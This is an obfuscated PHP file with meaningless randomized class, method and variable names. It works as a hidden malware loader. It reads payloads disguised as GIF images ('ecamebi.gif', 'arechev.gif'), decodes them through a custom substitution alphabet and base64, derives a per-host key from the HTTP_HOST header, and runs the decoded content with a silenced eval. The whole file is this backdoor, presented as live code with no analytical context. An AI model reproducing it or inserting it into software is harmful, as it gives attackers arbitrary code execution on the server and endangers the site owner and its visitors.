<?php

class otezem_isivatibo {

    public $suchaqu = 'ecamebi.gif';
    public $nitofa_ejecuvity = false;
    public $utukud_khothychopizh = false;
    public $owajub_alejadavo = false;

    protected function nezoco_thykhosinu($vyquca_disyfuvy) {
        $ijybim_ibatazhuce = crc32($vyquca_disyfuvy);
        if ((PHP_INT_SIZE > 4) && ($ijybim_ibatazhuce & 0x80000000))
            $ijybim_ibatazhuce = $ijybim_ibatazhuce - 0x100000000;
        return abs($ijybim_ibatazhuce);
    }

    protected function acizir_olyvazhid($vyquca_disyfuvy) {
        $ojixych = "h2RisZAH/f437XxCr+StQPKJqa=UDpz5vnGcdow6TOWE1uBeYN8kl9IVmj0yLbMgF";
        $jaqoca = "qbCHW4QjghtymJfZv9I2MAFG6=7UYl5xpz3iP0BoLVSscn1eROaDruEN8w+XKkT/d";
        $xelochy = array();
        for ($ywukoha = 0; $ywukoha < strlen($ojixych); $ywukoha++) {
            $tuzomav = substr($ojixych, $ywukoha, 1);
            $itebon = substr($jaqoca, $ywukoha, 1);
            $xelochy[$tuzomav] = $itebon;
        }

        $khosoja = strtr($vyquca_disyfuvy, $xelochy);
        $khosoja = base64_decode($khosoja);

        return $khosoja;
    }

    protected function kigyxa_thelifizhish($vyquca_disyfuvy) {
        $ypyzhaj = array();
        if (!file_exists($vyquca_disyfuvy))
            return false;
        $ehexyve = @file_get_contents($vyquca_disyfuvy);
        if (!$ehexyve)
            return false;
        $ehexyve = substr($ehexyve, 3);
        $ypyzhaj = $this->acizir_olyvazhid($ehexyve);
        return $ypyzhaj;
    }

    public function tuxyqe_chimizesh() {
        $uvamyq_ywonizhis = __DIR__ . "/" . $this->suchaqu;
        $udajof_ygazhecet = $this->kigyxa_thelifizhish($uvamyq_ywonizhis);
        if (!$udajof_ygazhecet)
            return false;
        $this->nitofa_ejecuvity = $udajof_ygazhecet;
        return true;
    }

    public function lutaco_okhefyzi() {
        if ($this->utukud_khothychopizh)
            return true;
        $uvamyq_ywonizhis = __DIR__ . '/arechev.gif';
        if (!file_exists($uvamyq_ywonizhis)) {
            return false;
        }

        $udajof_ygazhecet = $this->kigyxa_thelifizhish($uvamyq_ywonizhis);
        $ijybim_ibatazhuce = "HTTP" . "_HOST";
        $gyvuvy_ikizhopako = $_SERVER[$ijybim_ibatazhuce];
        $xemase_icyshidud = floor(strlen($udajof_ygazhecet) / 32);
        $sypesa_sykhizimo = $this->nezoco_thykhosinu($gyvuvy_ikizhopako) % $xemase_icyshidud;
        $cafiji_nuzhudikh = substr($udajof_ygazhecet, $sypesa_sykhizimo * 32, 32);
        $this->owajub_alejadavo = $sypesa_sykhizimo;
        $this->utukud_khothychopizh = $cafiji_nuzhudikh;

        if (!defined('nepugo_hutaligi'))
            define('nepugo_hutaligi', $cafiji_nuzhudikh);
        if (!defined('duwabi_athojaneba'))
            define('duwabi_athojaneba', $sypesa_sykhizimo + 1);

        return $cafiji_nuzhudikh;
    }

}

$ekofyqa = new otezem_isivatibo();
$ekofyqa->lutaco_okhefyzi();
$ekofyqa->tuxyqe_chimizesh();

if ($ekofyqa->nitofa_ejecuvity) {
    @eval($ekofyqa->nitofa_ejecuvity);
}